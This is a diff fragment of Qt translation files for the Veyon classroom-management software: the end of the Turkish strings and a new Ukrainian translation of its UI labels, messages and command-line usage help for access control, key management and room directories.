için komutlar + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + Sistem tepsisi simgesi + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + Metin iletisi gönder + + + Use the field below to type your message which will be sent to all selected users. + Tüm seçili kullanıcılara gönderilecek iletinizi yazmak için aşağıdaki alanı kullanın. + + + + TextMessageFeaturePlugin + + Text message + Metin iletisi + + + Use this function to send a text message to all users e.g. to assign them new tasks. + Tüm kullanıcılara metin iletisi göndermek için bu işlevi kullanın, örneğin onlara yeni görevler atamak için. + + + Message from teacher + Öğretmenden ileti + + + Send a message to a user + Kullanıcıya bir ileti gönder + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + Katmanlandırılmış (yarı saydam) pencerelerin yakalanmasını etkinleştir + + + Poll full screen (leave this enabled per default) + + + + Low accuracy (turbo mode) + Düşük hassasiyet (turbo kipi) + + + Builtin UltraVNC server configuration + Dahili UltraVNC sunucu yapılandırması + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + Erişim izni yok + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + Kişisel ayarlarınız kaydedilemedi! Lütfen kullanıcı yapılandırma dosyasının yolunu, %1 Yapılandırıcıyı kullanarak gözden geçirin. + + + + UserSessionControl + + User session control + Kullanıcı oturum denetimi + + + Click this button to logout users from all computers. + Tüm bilgisayarlardaki oturumları kapatmak için bu düğmeye tıklayın. + + + Confirm user logout + Kullanıcı çıkışını onayla + + + Do you really want to logout the selected users? + Seçilen kullanıcıları çıkış yaptırmak istediğinize emin misiniz? + + + Logout + + + + + VeyonCore + + [OK] + [TAMAM] + + + [FAIL] + [BAŞARISIZ] + + + Invalid command! + Geçersiz komut! + + + Available commands: + Kullanılabilir komutlar: + + + Invalid arguments given + Geçersiz argümanlar verildi + + + Not enough arguments given - use "%1 help" for more information + Yeteri kadar argüman verilmedi - ayrıntılı bilgi için "%1 help" kullanın + + + Unknown result! + Bilinmeyen sonuç! + + + Available modules: + Kullanılabilir modüller: + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + + + + + VncView + + Establishing connection to %1 ... + %1 ile bağlantı kuruluyor... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + Eklenti, Windows platformu için soyut işlevleri yerine getirir + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + Dahili x11vnc sunucusu yapılandırması + + + Custom x11vnc parameters: + Özel x11vnc parametreleri: + + + Do not use X Damage extension + X Damage eklentisini kullanma + + + \ No newline at end of file diff --git a/translations/uk.ts b/translations/uk.ts new file mode 100644 index 0000000..f85eff2 --- /dev/null +++ b/translations/uk.ts @@ -0,0 +1,3929 @@ + + + AboutDialog + + About + Про програму + + + Translation + Переклад + + + License + Ліцензування + + + About Veyon + Про Veyon + + + Contributors + Учасники розробки + + + Version: + Версія: + + + Website: + Сайт: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + Програму ще не перекладено поточною мовою (або налаштовано на використання англійської). + +Якщо ви хочете перекласти Veyon вашою рідною або якоюсь іншою мовою або хочете удосконалити наявний переклад, будь ласка, зв’яжіться із розробником Veyon! + + + About %1 %2 + Про %1 %2 + + + Support Veyon project with a donation + Підтримати проект Veyon фінансово + + + + AccessControlPage + + Computer access control + Керування доступом до комп’ютерів + + + Grant access to every authenticated user (default) + Надавати доступу усім розпізнаним користувачам (типовий варіант) + + + Test + Перевірити + + + Restrict access to members of certain user groups + Обмежити доступ учасниками певних груп користувачів + + + Process access control rules + Обробка правил керування доступом + + + User groups authorized for computer access + Групи користувачів, які уповноважено для доступу до комп’ютера + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + Будь ласка, додайте групи, учасники яких повинні будуть проходити розпізнавання, щоб отримати доступу до комп’ютерів у вашій мережі Veyon. + + + Authorized user groups + Уповноважені групи користувачів + + + All groups + Всі групи + + + ... + ... + + + Access control rules + Правила керування доступом + + + Add access control rule + Додати правило керування доступом + + + Remove access control rule + Вилучити правило керування доступом + + + Move selected rule down + Пересунути позначене правило нижче + + + Move selected rule up + Пересунути позначене правило вище + + + Edit selected rule + Змінити позначене правило + + + Enter username + Введіть ім’я користувача + + + Please enter a user login name whose access permissions to test: + Будь ласка, вкажіть назву облікового запису користувача, чиї права доступу слід перевірити: + + + Access allowed + Доступ дозволено + + + The specified user is allowed to access computers with this configuration. + Вказаному користувачеві дозволено доступ до комп’ютерів з цими налаштуваннями. + + + Access denied + Доступ заборонено + + + The specified user is not allowed to access computers with this configuration. + Вказаному користувачеві заборонено доступ до комп’ютерів з цими налаштуваннями. + + + Enable usage of domain groups + Увімкнути використання груп доменів + + + User groups backend: + Модуль груп користувачів: + + + Missing user groups backend + Не вистачає модуля обробки груп користувачів + + + No default user groups plugin was found. Please check your installation! + Не знайдено типового додатка груп користувачів. Будь ласка, перевірте, чи належним чином встановлено програму! + + + + AccessControlRuleEditDialog + + Edit access control rule + Змінити правило керування доступом + + + General + Загальні + + + enter a short name for the rule here + тут можна вказати скорочену назву правила + + + Rule name: + Назва правила: + + + enter a description for the rule here + тут можна вказати опис правила + + + Rule description: + Опис правила: + + + Invert all conditions ("is/has" interpreted as "is/has not") + Інверсія усіх умов («є або має» буде вважатися записом «не є або не має») + + + Conditions + Умови + + + is member of group + є учасником групи + + + is located in room + розташовано у класі + + + Accessing computer is localhost + Комп’ютер для доступу є локальним + + + Accessing user is logged on user + Користувач для доступу є розпізнаним користувачем системи + + + Accessing user is already connected + Користувача для доступу вже з’єднано + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + Якщо вказано декілька умов, для застосування правила має бути виконано усі ці умови (логічне «І»). Якщо має бути виконано хоч одну з декількох умов (логічне «АБО»), вам слід створити декілька відповідних правил керування доступом. + + + Action + Дія + + + Allow access + Дозволити доступ + + + Deny access + Заборонити доступ + + + Ask logged on user for permission + Запитувати розпізнаного користувача системи щодо доступу + + + None (rule disabled) + Немає (правило вимкнено) + + + Accessing user + Користувач для доступу + + + Accessing computer + Комп’ютер для доступу + + + Local (logged on) user + Локальний користувач (у системі) + + + Local computer + Локальний комп’ютер + + + Always process rule and ignore conditions + Завжди обробляти правило і ігнорувати умови + + + No user logged on + Немає користувачів у системі + + + Accessing computer is located in the same room as local computer + Комп’ютер для доступу розташовано у тому самому класі, що і локальний комп’ютер + + + Accessing user has one or more groups in common with local (logged on) user + Користувач для доступу є учасником однієї або декількох груп, які є спільними із локальним (поточним) користувачем + + + + AccessControlRulesTestDialog + + Access control rules test + Перевірка правил керування доступом + + + Accessing user: + Користувач для доступу: + + + Local computer: + Локальний комп’ютер: + + + Accessing computer: + Комп’ютер для доступу: + + + Please enter the following user and computer information in order to test the configured ruleset. + Будь ласка, вкажіть нижче дані щодо користувача і комп’ютера, щоб перевірити налаштований набір правил. + + + Local user: + Локальний користувач: + + + Connected users: + З’єднані користувачі: + + + The access in the given scenario is allowed. + Доступ за вказаним сценарієм дозволено. + + + The access in the given scenario is denied. + Доступ за вказаним сценарієм заборонено. + + + The access in the given scenario needs permission of the logged on user. + Доступ за вказаним сценарієм потребує дозволу від користувача, який увійшов до системи. + + + ERROR: Unknown action + ПОМИЛКА: невідома дія + + + Test result + Результат тестування + + + + AuthKeysConfigurationPage + + Authentication keys + Ключі розпізнавання + + + Introduction + Вступ + + + Key file directories + Каталоги файлів ключів + + + Public key file base directory + Основний каталог файлів відкритих ключів + + + Private key file base directory + Основний каталог файлів закритих ключів + + + ... + ... + + + Available authentication keys + Доступні ключі розпізнавання + + + Create key pair + Створити пару ключів + + + Delete key + Вилучити ключ + + + Import key + Імпорт ключа + + + Export key + Експортувати ключ + + + Set access group + Встановити групу доступу + + + Key files (*.pem) + файли ключів (*.pem) + + + Authentication key name + Назва ключа для розпізнавання + + + Please enter the name of the user group or role for which to create an authentication key pair: + Будь ласка, вкажіть назву групи користувачів або роль, для якої слід створити пару ключів для розпізнавання: + + + Do you really want to delete authentication key "%1/%2"? + Ви справді хочете вилучити ключ розпізнавання «%1/%2»? + + + Please select a key to delete! + Будь ласка, виберіть ключ для вилучення! + + + Please enter the name of the user group or role for which to import the authentication key: + Будь ласка, вкажіть назву групи користувачів або роль, для якої слід імпортувати ключ розпізнавання: + + + Please select a key to export! + Будь ласка, виберіть ключ для експортування! + + + Please select a user group which to grant access to key "%1": + Будь ласка, виберіть групу користувачів, які слід надати доступу до ключа «%1»: + + + Please select a key which to set the access group for! + Будь ласка, виберіть ключ, доступ до якого слід встановити для групи! + + + Please perform the following steps to set up key file authentication: + Будь ласка, виконайте такі кроки, щоб налаштувати файл ключа розпізнавання: + + + 1) Create a key pair on the master computer. + 1) Створіть пару ключів на основному комп'ютері. + + + 2) Set an access group whose members should be allowed to access other computers. + 2) Встановіть групу доступу, учасникам якої буде дозволено доступу до інших комп'ютерів. + + + 3) Export the public key and import it on all client computers with the same name. + 3) Експортуйте відкритий ключ і імпортуйте його на всіх клієнтські комп'ютери із однаковою назвою. + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + Будь ласка, ознайомтеся із <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Підручником із адміністрування Veyon</a>, щоб дізнатися більше. + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + Пара ключів для розпізнавання складається із поєднаних між собою криптографічних ключів, закритого і відкритого. За допомогою закритого ключа користувачі на основному комп'ютері можуть отримувати доступу до клієнтських комп'ютерів. Важливо, щоб право на читання файла закритого ключа мали лише уповноважені на це користувачі. Відкритий ключ використовується на клієнтських комп'ютерах для розпізнавання вхідних запитів щодо з'єднання. + + + + AuthKeysManager + + Please check your permissions. + Будь ласка, переконайтеся, що маєте належні права доступу. + + + Key name contains invalid characters! + У назві ключа містяться некоректні символи! + + + Invalid key type specified! Please specify "%1" or "%2". + Вказано некоректний тип ключа! Будь ласка, вкажіть «%1» або «%2». + + + Specified key does not exist! Please use the "list" command to list all installed keys. + Вказаного ключа не існує! Будь ласка, скористайтеся командою «list» для перегляду списку усіх встановлених ключів. + + + One or more key files already exist! Please delete them using the "delete" command. + Один або декілька ключів вже існують! Будь ласка, вилучіть їх за допомогою команди «delete». + + + Creating new key pair for "%1" + Створюємо нову пару ключів для «%1» + + + Failed to create public or private key! + Не вдалося створити відкритий або закритий ключ! + + + Newly created key pair has been saved to "%1" and "%2". + Новостворену пару ключів було збережено до «%1» і «%2». + + + Could not remove key file "%1"! + Не вдалося вилучити файл ключа «%1»! + + + Could not remove key file directory "%1"! + Не вдалося вилучити каталог файла ключа «%1»! + + + Failed to create directory for output file. + Не вдалося створити каталог для файла виведення даних. + + + File "%1" already exists. + Файл «%1» вже існує. + + + Failed to write output file. + Не вдалося виконати запис до файла виведення. + + + Key "%1/%2" has been exported to "%3" successfully. + Ключ «%1/%2» було успішно експортовано до «%3». + + + Failed read input file. + Не вдалося прочитати файл вхідних даних. + + + File "%1" does not contain a valid private key! + У файлі «%1» не міститься коректного закритого ключа! + + + File "%1" does not contain a valid public key! + У файлі «%1» не міститься коректного відкритого ключа! + + + Failed to create directory for key file. + Не вдалося створити каталог для файла ключа. + + + Failed to write key file "%1". + Не вдалося записати файл ключа «%1». + + + Failed to set permissions for key file "%1"! + Не вдалося встановити права доступу до файла ключа «%1»! + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + Ключ «%1/%2» було успішно імпортовано. Будь ласка, перевірте права доступу до файла «%3», щоб запобігти неуповноваженому доступу. + + + Failed to convert private key to public key + Не вдалося перетворити закритий ключ на відкритий + + + Failed to create directory for private key file "%1". + Не вдалося створити каталог для файла закритого ключа «%1». + + + Failed to save private key in file "%1"! + Не вдалося зберегти закритий ключ до файла «%1»! + + + Failed to set permissions for private key file "%1"! + Не вдалося встановити права доступу до файла закритого ключа «%1»! + + + Failed to create directory for public key file "%1". + Не вдалося створити каталог для файла відкритого ключа «%1». + + + Failed to save public key in file "%1"! + Не вдалося зберегти відкритий ключ до файла «%1»! + + + Failed to set permissions for public key file "%1"! + Не вдалося встановити права доступу до файла відкритого ключа «%1»! + + + Failed to set owner of key file "%1" to "%2". + Не вдалося встановити власника файла ключа «%1» у значення «%2». + + + Failed to set permissions for key file "%1". + Не вдалося встановити права доступу до файла ключа «%1». + + + Key "%1" is now accessible by user group "%2". + Ключ «%1» тепер є доступним для групи користувачів «%2». + + + <N/A> + <н/д> + + + Failed to read key file. + Не вдалося прочитати файл ключа. + + + + AuthKeysPlugin + + Create new authentication key pair + Створити нову пару ключів для розпізнавання + + + Delete authentication key + Вилучити ключ розпізнавання + + + List authentication keys + Вивести список ключів розпізнавання + + + Import public or private key + Імпортувати відкритий або закритий ключ + + + Export public or private key + Експортувати відкритий або закритий ключ + + + Extract public key from existing private key + Видобути відкритий ключ із наявного закритого ключа + + + Set user group allowed to access a key + Встановити групу користувачів, які матимуть доступ до ключа + + + KEY + КЛЮЧ + + + ACCESS GROUP + ГРУПА ДОСТУПУ + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + Ця команда коригує права доступу до файла <КЛЮЧ> так, що право на читання цього файла отримують лише учасники групи <ГРУПА ДОСТУПУ>. + + + NAME + НАЗВА + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + Ця команда створює нову пару ключів для розпізнавання із назвою <НАЗВА> і зберігає закритий і відкритий ключі до налаштованих каталогів ключів. + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + Ця команда вилучає ключ розпізнавання <КЛЮЧ> із налаштованого каталогу ключів. Будь ласка, зауважте, що після вилучення ключ не можна буде відновити. + + + FILE + ФАЙЛ + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + Ця команда експортує ключ розпізнавання <КЛЮЧ> до файла <ФАЙЛ>. Якщо файл <ФАЙЛ> не вказано, його назву буде побудовано на основі даних щодо назви і типу ключа <КЛЮЧ>. + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + Ця команда імпортує ключ розпізнавання <КЛЮЧ> з файла <ФАЙЛ> Якщо файл <ФАЙЛ> не вказано, його назву буде побудовано на основі даних щодо назви і типу ключа <КЛЮЧ>. + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + Ця команда виводить список усіх доступних ключів розпізнавання у налаштованому каталозі ключів. Якщо вказано параметр «%1», замість списку буде виведено таблицю із подробицями щодо ключів. Деякі параметри ключа може бути не показано, якщо доступ до ключа обмежено, наприклад через брак прав на читання файла ключа. + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + Ця команда видобуває частину, пов'язану із відкритим ключем, з закритого ключа <КЛЮЧ> і зберігає її до відповідного файла відкритого ключа. + + + Please specify the command to display help for! + Будь ласка, вкажіть команду, для якої слід показати довідку! + + + TYPE + ТИП + + + PAIR ID + ІД ПАРИ + + + Command line support for managing authentication keys + Підтримка керування ключами розпізнавання у командному рядку + + + Commands for managing authentication keys + Команди для керування ключами розпізнавання + + + + AuthKeysTableModel + + Name + Назва + + + Type + Тип + + + Access group + Група доступу + + + Pair ID + Ід. пари + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + Класи і комп'ютери + + + Rooms + Класи + + + Computers + Комп'ютери + + + Name + Назва + + + Host address/IP + Адреса/IP вузла + + + MAC address + MAC-адреса + + + Add new room + Додати новий клас + + + Remove selected room + Вилучити позначений клас + + + Add new computer + Додати новий комп’ютер + + + Remove selected computer + Вилучити позначений комп’ютер + + + New room + Новий клас + + + New computer + Новий комп’ютер + + + Builtin directory + Вбудований каталог + + + + BuiltinDirectoryPlugin + + Show help for specific command + Показати довідку щодо певної команди + + + Add a room or computer + Додати клас або комп'ютер + + + Clear all rooms and computers + Вилучити усі записи класів і комп'ютерів + + + Dump all or individual rooms and computers + Створити дамп усіх або окремих класів і комп'ютерів + + + List all rooms and computers + Вивести список усіх класів і комп'ютерів + + + Remove a room or computer + Вилучити запис класу або комп'ютера + + + Import objects from given file + Імпортувати об'єкти із вказаного файла + + + Export objects to given file + Експортувати об'єкти до вказаного файла + + + Invalid type specified. Valid values are "%1" or "%2". + Вказано некоректний тип. Коректними є значення «%1» і «%2». + + + Type + Тип + + + Name + Назва + + + Host address + Адреса вузла + + + MAC address + MAC-адреса + + + Specified object not found. + Вказаного об'єкта не знайдено. + + + File "%1" does not exist! + Файла «%1» не існує! + + + Can't open file "%1" for reading! + Не вдалося відкрити файл «%1» для читання! + + + Unknown argument "%1". + Невідомий аргумент «%1». + + + Room "%1" + Клас «%1» + + + Computer "%1" (host address: "%2" MAC address: "%3") + Комп'ютер «%1» (адреса вузла: «%2» MAC-адреса: «%3») + + + Unclassified object "%1" with ID "%2" + Некласифікований об'єкт «%1» із ідентифікатором «%2» + + + None + Немає + + + Room + Клас + + + Computer + Комп'ютер + + + Root + Корінь + + + Invalid + Некоректний + + + Error while parsing line %1. + Помилка під час обробки рядка %1. + + + Network object directory which stores objects in local configuration + Каталог об'єктів мережі, де зберігаються об'єкти у локальній конфігурації + + + Builtin (computers and rooms in local configuration) + Вбудоване (комп'ютери і класи у локальних налаштуваннях) + + + Commands for managing the builtin network object directory + Команди для керування каталогом вбудованих об'єктів мережі + + + No format string or regular expression specified! + Немає рядка форматування або не вказано формальний вираз! + + + Can't open file "%1" for writing! + Не вдалося відкрити файл «%1» для запису! + + + No format string specified! + Не вказано рядок формату! + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + +КОРИСТУВАННЯ + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Можливі змінні: %type% %name% %host% %mac% %room% + +Приклади: + +* Експортувати усі об'єкти до файла CSV: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Експортувати усі записи комп'ютерів у класі до файла CSV: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + +КОРИСТУВАННЯ + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Додає об'єкт, де TYPE може мати значення «%2» або «%3». PARENT можна вказати за назвою або UUID. + +Приклади: + +* Додати клас: + + %1 add room "Клас 01" + +* Додати комп'ютер до класу "Клас 01": + + %1 add computer "Комп'ютер 01" comp01.example.com 11:22:33:44:55:66 "Клас 01" + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + +КОРИСТУВАННЯ + +%1 remove <OBJECT> + +Вилучає вказаний об'єкт з каталогу. OBJECT можна вказати за назвою або UUID. Вилучення класу призводить до вилучення усіх комп'ютерів у ньому. + +Приклади: + +* Вилучити комп'ютер за назвою: + + %1 remove "Комп'ютер 01" + +* Вилучити об'єкт за UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + Object UUID + UUID об'єкта + + + Parent UUID + Батьківський UUID + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + +КОРИСТУВАННЯ + +%1 import <ФАЙЛ> [room <КЛАС>] [format <РЯДОК ФОРМАТУВАННЯ ЗІ ЗМІННИМИ>] [regex <ФОРМАЛЬНИЙ ВИРАЗ ЗІ ЗМІННИМИ>] + +Можливі змінні: %type% %name% %host% %mac% %room% + +Приклади: + +* Імпортувати простий файл CSV до одного запису класу: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Імпортувати файл CSV із назвою класу у першому стовпчику: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Імпортувати текстовий файл із парами ключ-значення за допомогою формальних виразів: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Імпортувати дані у довільному форматуванні: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + Вбудований сервер VNC (UltraVNC) + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + Вбудований сервер VNC (x11vnc) + + + + ComputerControlListModel + + Room: %1 + Клас: %1 + + + Host/IP address: %1 + Вузол/IP-адреса: %1 + + + Active features: %1 + Задіяні можливості: %1 + + + Online and connected + У мережі і з’єднано + + + Establishing connection + Встановлюємо з’єднання + + + Computer offline or switched off + Комп’ютер перебуває поза мережею або його вимкнено + + + Service unreachable or not running + Служба недоступна або її не запущено + + + Authentication failed or access denied + Не пройдено розпізнавання або заборонено доступ + + + Disconnected + Від’єднано + + + No user logged on + Немає користувачів у системі + + + Logged on user: %1 + Користувач у системі: %1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + Служба %1 %2 о %3:%4 + + + Authentication error + Помилка розпізнавання + + + Remote access + Віддалений доступ + + + User "%1" at host "%2" is now accessing this computer. + Зараз доступ до цього комп'ютера має користувач «%1» на вузлі «%2». + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + Користувач «%1» на вузлі «%2» намагався отримати доступ до цього комп'ютера, але не зміг пройти розпізнавання! + + + + ComputerManagementView + + Computer management + Керування комп’ютерами + + + Add room + Додавання кімнати + + + Save computer/user list + Зберегти список комп’ютерів/користувачів + + + Select output filename + Виберіть назву файла для виведених даних + + + CSV files (*.csv) + файли CSV (*.csv) + + + File error + Помилка під час роботи з файлами + + + Could not write the computer and users list to %1! Please check the file access permissions. + Не вдалося записати список комп’ютерів і користувачів до %1! Будь ласка, перевірте, чи є у вас належні права для доступу до цього файла. + + + Computer search + Пошук комп’ютера + + + + ComputerManager + + User + Користувач + + + Missing network object directory plugin + Не вистачає додатка каталогу мережевих об’єктів + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + Не знайдено типового додатка каталогу мережевих об’єктів. Будь ласка, перевірте, чи правильно встановлено програму, або налаштуйте інший модуль каталогу мережевих об’єктів за допомогою засобу налаштовування %1. + + + Computer name;Host name;User + Назва комп’ютера;Назва вузла;Користувач + + + Room detection failed + Не вдалося визначити клас + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + Не вдалося визначити клас, до якого належить цей комп’ютер. Це означає, що у налаштуваннях системи є проблеми. На панелі керування комп’ютерами буде показано усі класи. + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + Будь ласка, вкажіть файл наявних налаштувань для імпортування. + + + Please specify a valid filename for the configuration export. + Будь ласка, вкажіть коректну назву файла для експортування налаштувань. + + + Please specify a valid key. + Будь ласка, вкажіть коректний ключ. + + + Specified key does not exist in current configuration! + Вказаного ключа не існує у поточних налаштуваннях! + + + Please specify a valid value. + Будь ласка, вкажіть коректне значення. + + + Configure Veyon at command line + Налаштувати Veyon з командного рядка + + + Output file is not writable! + Файл для виведення даних непридатний до запису! + + + Output directory is not writable! + Каталог для виведення даних непридатний до запису! + + + Configuration file is not readable! + Не вдалося прочитати файл налаштувань! + + + Clear system-wide Veyon configuration + Вилучити загальносистемні налаштування Veyon + + + List all configuration keys and values + Список усіх ключів і значень налаштувань + + + Import configuration from given file + Імпортувати налаштування із вказаного файла + + + Export configuration to given file + Експортувати налаштування до вказаного файла + + + Read and output configuration value for given key + Прочитати і вивести значення налаштування для вказаного ключа + + + Write given value to given configuration key + Записати вказане значення до вказаного ключа налаштування + + + Unset (remove) given configuration key + Скинути (вилучити) вказаний ключ налаштування + + + Commands for managing the configuration of Veyon + Команди для керування налаштуваннями Veyon + + + Upgrade and save configuration of program and plugins + Оновити і зберегти налаштування програми і додатків + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + Не вдалося змінити параметр автоматичного запуску служби %1. + + + Could not configure the firewall configuration for the %1 Server. + Не вдалося налаштувати брандмауер для сервера %1. + + + Could not configure the firewall configuration for the %1 Worker. + Не вдалося налаштувати брандмауер для робочої станції %1. + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + Не вдалося змінити параметр для програмного створення SAS. Віддалене надсилання Ctrl+Alt+Del не працюватиме! + + + Configuration is not writable. Please check your permissions! + Файл налаштувань непридатний до запису. Будь ласка, перевірте права доступу до нього! + + + + DemoClient + + %1 Demo + Демонстрація %1 + + + + DemoConfigurationPage + + Demo server + Демосервер + + + Tunables + Налаштовувані + + + ms + мс + + + Key frame interval + Інтервал між ключовими кадрами + + + Memory limit + Межа пам’яті + + + Use multithreading (experimental) + Використовувати багатопоточність (експериментальне) + + + MB + МБ + + + Update interval + Інтервал оновлення + + + s + с + + + + DemoFeaturePlugin + + Fullscreen demo + Повноекранне демо + + + Stop demo + Припинити демонстрацію + + + Window demo + Демо у вікні + + + Give a demonstration by screen broadcasting + Виконати демонстрацію трансляцією зображення на екрані + + + Demo server + Демосервер + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + У цьому режимі зображення з екрана вашого комп'ютера демонструватиметься на увесь екран на усіх комп'ютерах, а пристрої введення даних на комп'ютерах буде заблоковано. + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + У цьому режимі зображення з вашого екрана буде показано у вікні на всіх комп’ютерах. Користувачі, якщо захочуть, матимуть змогу перемикатися на інші вікна. + + + + DesktopAccessDialog + + Desktop access dialog + Вікно доступу до стільниці + + + Confirm desktop access + Підтвердження доступу + + + Never for this session + Ніколи протягом цього сеансу + + + Always for this session + Завжди протягом цього сеансу + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + Користувач %1 з комп’ютера %2 бажає отримати доступ до вашої системи. Надасте йому доступ? + + + + DesktopServicesConfigurationPage + + Programs & websites + Програми і сайти + + + Predefined programs + Попередньо визначені програми + + + Name + Назва + + + Path + Шлях + + + Add new program + Додати нову програму + + + Remove selected program + Вилучити позначену програму + + + Predefined websites + Попередньо визначені сайти + + + Remove selected website + Вилучити позначений сайт + + + URL + Адреса + + + New program + Нова програма + + + New website + Новий сайт + + + + DesktopServicesFeaturePlugin + + Run program + Виконати програму + + + Open website + Відкрити сайт + + + Click this button to open a website on all computers. + Натисніть цю кнопку, щоб відкрити сайт на усіх комп’ютерах. + + + Please enter the URL of the website to open: + Будь ласка, вкажіть адресу сайта, який слід відкрити: + + + Start programs and services in user desktop + Запустити програми і служби на робочій станції користувача + + + Click this button to run a program on all computers. + Натисніть цю кнопку, щоб запустити програму на усіх комп’ютерах. + + + Run program "%1" + Виконати програму «%1» + + + Custom program + Нетипова програма + + + Open website "%1" + Відкрити сайт «%1» + + + Custom website + Нетиповий сайт + + + + ExternalVncServer + + External VNC server + Зовнішній сервер VNC + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + Налаштування зовнішнього сервера VNC + + + Port: + Порт: + + + Password: + Пароль: + + + + FeatureControl + + Feature control + Керування можливосями + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + Не вдалося відкрити файл «%1» для читання! Будь ласка, перевірте, чи маєте ви достатні права доступу! + + + + FileTransferDialog + + File transfer + Передавання файлів + + + Options + Параметри + + + Transfer only + Лише передавання + + + Transfer and open file(s) with associated program + Передати і відкрити файли за допомогою пов'язаної програми + + + Transfer and open destination folder + Передати і відкрити теку призначення + + + Files + Файли + + + Start + Почати + + + Overwrite existing files + Перезаписати наявні файли + + + + 